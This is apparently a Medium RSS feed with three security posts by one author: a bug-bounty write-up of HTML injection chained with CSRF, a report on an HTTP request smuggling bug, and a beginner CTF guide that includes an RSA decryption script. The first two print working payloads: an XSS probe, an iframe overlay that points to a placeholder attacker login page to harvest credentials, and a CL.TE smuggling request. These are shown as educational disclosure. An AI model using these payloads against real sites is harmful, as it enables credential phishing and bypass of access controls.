<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AMAN SINGH on Medium]]></title>
        <description><![CDATA[Stories by AMAN SINGH on Medium]]></description>
        <link>https://medium.com/@dun930nmaster?source=rss-fbd2fef16c2c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XzZjSdSjdJ8T8oLwJxQkjw.jpeg</url>
            <title>Stories by AMAN SINGH on Medium</title>
            <link>https://medium.com/@dun930nmaster?source=rss-fbd2fef16c2c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 08:25:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dun930nmaster/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The peculiar case of HTML Injection]]></title>
            <link>https://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3?source=rss-fbd2fef16c2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d14db8440e3</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[AMAN SINGH]]></dc:creator>
            <pubDate>Thu, 22 Apr 2021 17:25:24 GMT</pubDate>
            <atom:updated>2021-04-24T18:59:01.780Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>This is a Writeup for an unusual HTML Injection bug I found on a private bug bounty program.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*yoTPoP3Pf9gBC4B_gxzxwA.png" /><figcaption>HTML Injection (img src: <a href="https://www.acunetix.com/blog/web-security-zone/html-injections/">https://www.acunetix.com/blog/web-security-zone/html-injections/</a>)</figcaption></figure><h3>HTML Injection and XSS: Differences and Similarities</h3><p>HTML Injection lies under the class of injection Attacks, which means that a malicious HTML input is trusted by the website and displayed to the innocent user.</p><p>Similar to XSS there are stored, reflected, and self HTML injection. HTML Injection Vulnerability is not as Critical as XSS(Cross-Site Scripting) but can be chained with other vulnerabilities to create critical impact.</p><p>The obvious difference between XSS and HTML Injection is that in the case of XSS one can inject functioning javascript onto a website which enables the attacker to virtually performing any task a real user can do, Whereas Injecting only the HTML on its own can mostly deface the website, but if this is chained with vulnerabilities such as CSRF(Cross-Site Request Forgery), then the Criticality of the attack increases because of the user-dependency for the attack to succeed decreases.</p><h3>Bug Report</h3><p>In my case, HTML Injection was actually found in the pursuit to find XSS on the search functionality of the vulnerable website.</p><p>The website was using a Cloudflare WAF, which prevented the attacker from performing XSS. On searching something like</p><pre>&lt;img src=x onerror=prompt(1)&gt;</pre><p>Cloudflare WAF gets triggered, but when I waited for long enough the search preview feature of the search bar tries to load the image and triggers the XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*QqxaFKkgv8017aUjDc2EQA.png" /><figcaption>The preview feature loads the payload on the DOM temporarily</figcaption></figure><p>But unfortunately, this is just a self-XSS, and when the payload is searched the Cloudflare kicks in.</p><p>But I realized that the WAF was not preventing me from searching HTML tags without any javascript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*HOW4KnCvHlgmpKQ5FUtyTQ.png" /><figcaption>Reflecting the HTML components</figcaption></figure><p>So when an attacker sends this link to a user the HTML will be reflected in the search bar.</p><pre>https://vulnerable.com/search?term=%3Cimg+src%3Dx%3E</pre><p>Now, How can this cause a big impact?</p><p>So one way is to cover the entire webpage with an iframe, using the attacker can create a fake login page similar to that of the site which would cause the user to enter the credentials which would be sent to the attacker.</p><p>this payload can be used:-</p><pre>&lt;iframe src=&quot;***https:/attacker/login***&quot; style=&quot;position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999; scrolling=&quot;no&quot;;frameborder=&quot;0&quot;&quot;&gt;</pre><p>But the issue with this method is the extent of user interaction that is required for this attack to work. So I had to come up with a better solution.</p><p>I found <a href="https://medium.com/@irounakdhadiwal999/stored-iframe-injection-csrf-account-takeover-42c93ad13f5d">this report</a> on a similar vulnerability, which helped me come up with the solution.</p><p>Now, like I said, chaining HTML injection with CSRF can create a bigger impact, luckily I found a CSRF possible in the address-changing functionality of the website.</p><p>Chaining these two vulnerabilities, I used the previously used Iframe payload and the <em>src</em> of it was set to a webhook endpoint which hosted a self-submitting form that changes the address of the user-generated with the <a href="https://portswigger.net/burp/documentation/desktop/functions/generate-csrf-poc">burp Suite CSRF PoC generator</a>.</p><p>This way the user dependency was reduced and the impact was increased thus the report was accepted and triaged, and finally, I received a bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*3QTLuuGBjk9geLQkyjZjqA.png" /></figure><h4>If you liked my report please leave a bunch of claps!!</h4><figure><a href="https://www.buymeacoffee.com/dungeonmaster"><img alt="" src="https://cdn-images-1.medium.com/max/170/0*LWErBtG2uhpG6JXL.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d14db8440e3" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3">The peculiar case of HTML Injection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding My First Bug: HTTP Request Smuggling]]></title>
            <link>https://infosecwriteups.com/finding-my-first-bug-http-request-smuggling-5fdc89581fe2?source=rss-fbd2fef16c2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fdc89581fe2</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugbounting]]></category>
            <dc:creator><![CDATA[AMAN SINGH]]></dc:creator>
            <pubDate>Fri, 22 Jan 2021 21:57:16 GMT</pubDate>
            <atom:updated>2021-02-14T19:49:59.452Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>This is the report of my first bug. The bug was HTTP Request Smuggling for which I got a bounty of $200.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tglJ5Qvqf-3E0gfK" /><figcaption>Photo by <a href="https://unsplash.com/@jackson_893?utm_source=medium&amp;utm_medium=referral">Michael Geiger</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>How did I Find the Bug?</h3><p>During my recon when I found all the possible subdomains I just started visiting them one by one, the vulnerable subdomain gave a 403 Forbidden error along with the version of the webserver.</p><p>Then I checked the Burpsuite’s passive scanner which picked up the version number and reported that this version might be vulnerable.</p><h3><strong>What was causing the bug?</strong></h3><p>The website was using an old version on Web-Server which extends Nginx, this older version of web-server caused the website to allow this desync attack.</p><h3>What is HTTP Request Smuggling?</h3><p>As I understand HRS is this vulnerability where an attacker can send an ambiguous request which can desynchronize the servers, leaving the socket to the backend poisoned with a harmful response. This response will then be served up to the next visitor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*c5UM9CjTAp23Ztw0INKQuQ.png" /><figcaption>source: <a href="https://portswigger.net/web-security/request-smuggling">https://portswigger.net/web-security/request-smuggling</a></figcaption></figure><h3>How did I perform the attack?</h3><p>On this domain the desync occurs when we send a request with a Content-Length header and Transfer-Encoding header, the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header, which allows us to perform an HTTP request smuggling attack.</p><pre>POST /i HTTP/1.1 <br>Host: ...<br>Connection: keep-alive <br>...<br>Content-Length: 55 <br>Transfer-Encoding: chunked  </pre><pre>0  </pre><pre>GET /publicDocs/ HTTP/1.1 <br>Host: ...<br>foo: x</pre><h3>What was the Impact?</h3><p>Since this technique allows attackers to bypass rules in frontend systems, it may also be possible to access internal content that’s meant to be private.</p><p>So I found a login page which was meant for the staff only and a few other Documents which normally gave 403 errror but through this technique we got a 200 status code.</p><h3>Final thoughts</h3><p>This was my first report on a bug-bounty platform and finding a valid bug and getting a bounty was a great experience. I learned a lot about how to write a good report, I learned a lot from disclosed report and portswigger’s website.</p><h4>If you liked my report please leave a bunch of claps!!</h4><h4>Resources I used to learn more about this bug</h4><p><a href="https://portswigger.net/web-security/request-smuggling">https://portswigger.net/web-security/request-smuggling</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fdc89581fe2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/finding-my-first-bug-http-request-smuggling-5fdc89581fe2">Finding My First Bug: HTTP Request Smuggling</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTFs-A road to learn CyberSecurity]]></title>
            <link>https://dun930nmaster.medium.com/ctfs-a-road-to-learn-cybersecurity-66cd93fccac7?source=rss-fbd2fef16c2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/66cd93fccac7</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <dc:creator><![CDATA[AMAN SINGH]]></dc:creator>
            <pubDate>Wed, 26 Feb 2020 13:50:53 GMT</pubDate>
            <atom:updated>2020-02-26T13:50:53.489Z</atom:updated>
            <content:encoded><![CDATA[<p>If you ever considered becoming a Hacker the best way to learn hacking is to play CTF- Capture The Flag Contests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xIKL1wW9MteI2sQd" /><figcaption>Photo by <a href="https://unsplash.com/@arget?utm_source=medium&amp;utm_medium=referral">Arget</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>CTFs</strong>- are a game where people put their skills to decode, decrypt, decipher some given Challenges and extract a <strong>flag</strong>. A flag is a string which is the answer to the given challenge.</p><p>There are some<strong> Common Challenge Types –</strong></p><ul><li><strong>Cryptography </strong>— Usually involves decrypting or encrypting a piece of data</li><li><strong>Steganography </strong>— Involves finding information hidden in files or images</li><li><strong>Binary </strong>— Reverse engineering or exploiting a binary file</li><li><strong>Web Exploitation </strong>— Exploiting web pages to find the flag</li><li><strong>Pwn — </strong>Exploiting a server to find the flag.</li></ul><p>The best OS for hacking is Kali-Linux, because it has many in-built hacking tools. You can also use Ubuntu for hacking, but you have to install many tools yourself.</p><p>In order to solve CTF challenges you need to have a basic programming skills and creative problem solving skills. Other than this you need to Scavenge the whole internet in order to find methods to find solve the challenge.</p><p>I will give some resources, tools, commands and solve some basic CTF problems.</p><h3><strong>GITHUB Repositories</strong></h3><blockquote><a href="https://github.com/w181496/Web-CTF-Cheatsheet/blob/master/README.md"><strong><em>Web CTF CheatSheet.</em></strong></a></blockquote><blockquote><a href="https://github.com/prince-7/WinterCTF"><strong>My github repository having some basic python Scripts and writeups.</strong></a></blockquote><blockquote><a href="https://github.com/JohnHammond/ctf-katana"><strong>John Hammond’s Repository</strong></a></blockquote><h3>Some websites to refer-</h3><blockquote><a href="https://ctftime.org/ctfs"><strong>CTFtime</strong></a></blockquote><blockquote><a href="https://ctflearn.com/"><strong>CTFlearn</strong></a></blockquote><blockquote><a href="https://picoctf.com/"><strong>picoCTF</strong></a></blockquote><p><a href="https://picoctf.com/">picoCTF - CMU Cybersecurity Competition</a></p><h3><strong>Youtube Channels-</strong></h3><blockquote><a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w"><strong>LiveOverflow</strong></a></blockquote><blockquote><a href="https://www.youtube.com/user/RootOfTheNull"><strong>John Hammond</strong></a></blockquote><p>Now lets see how to go about solving some basic CTF problems.</p><ul><li>For example we are given this image of a garden which has a flag hidden in it.</li></ul><p><a href="https://2019game.picoctf.com/problems#">link of the problem</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ai6D542Q2JtUaBytYjsDYQ.jpeg" /></figure><p>We the given here points at the hex code of this image, So on seeing this image through a hex-editor we see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oYNFNbai9PaL7EYUBbr8Lg.png" /><figcaption>We see that the hex- code of this image has the flag.</figcaption></figure><ul><li>RSA are a common method of cryprography, Read this to know more.</li></ul><p><a href="https://simple.wikipedia.org/wiki/RSA_algorithm#Decrypting_message">RSA algorithm</a></p><p>this is a basic python script to decryt a rsa</p><blockquote>from Crypto.Util.number import inverse<br>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import *<br>import os<br>import binascii<br>c=16411916528191625268306376343416284046371378706677425453398880382491760005254791709313190311768690571528831422036503270643548618028109870557250232764055237722687680038449744825070345031141263008561223892414661860041541488377676967786740769629073420215918230890247566339971772516923300331101780065988770608882</blockquote><blockquote>e=65537<br>p=9459087979866534301854579339627517281880871857987098205400542290909533812510627152878341353678910479880680875722839306063829321130837210213784261581387173<br>q=9896984395151566492448748862139262345387297785144637332499966426571398040295087125558780121504834847289828037371643927199404615218623314326851473129699891<br>n=93616446129104844955059483483752992293153041554713362995577944006733118927583779842204030356971478350811041915377930951956502012771774841082614054554770815187292742308840790006593450752603958942439357309303946472001330045884858387830491605420241505583373355116186785494805020828753183916934302977232966898143</blockquote><blockquote>phi= (p-1)*(q-1)</blockquote><blockquote>d=inverse(e,phi)</blockquote><blockquote>m=pow(c, d, n)</blockquote><blockquote>print (binascii.unhexlify(hex(m)[2:-1]))<br>#this also works <br>print ((hex(m)[2:-1]).decode(‘hex’))</blockquote><blockquote>We get the flag ie. WinterCTF{Jus7_s1mpl3_RSA}</blockquote><p>There are a many such resources in the links provided.</p><p>Keep Hacking!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66cd93fccac7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>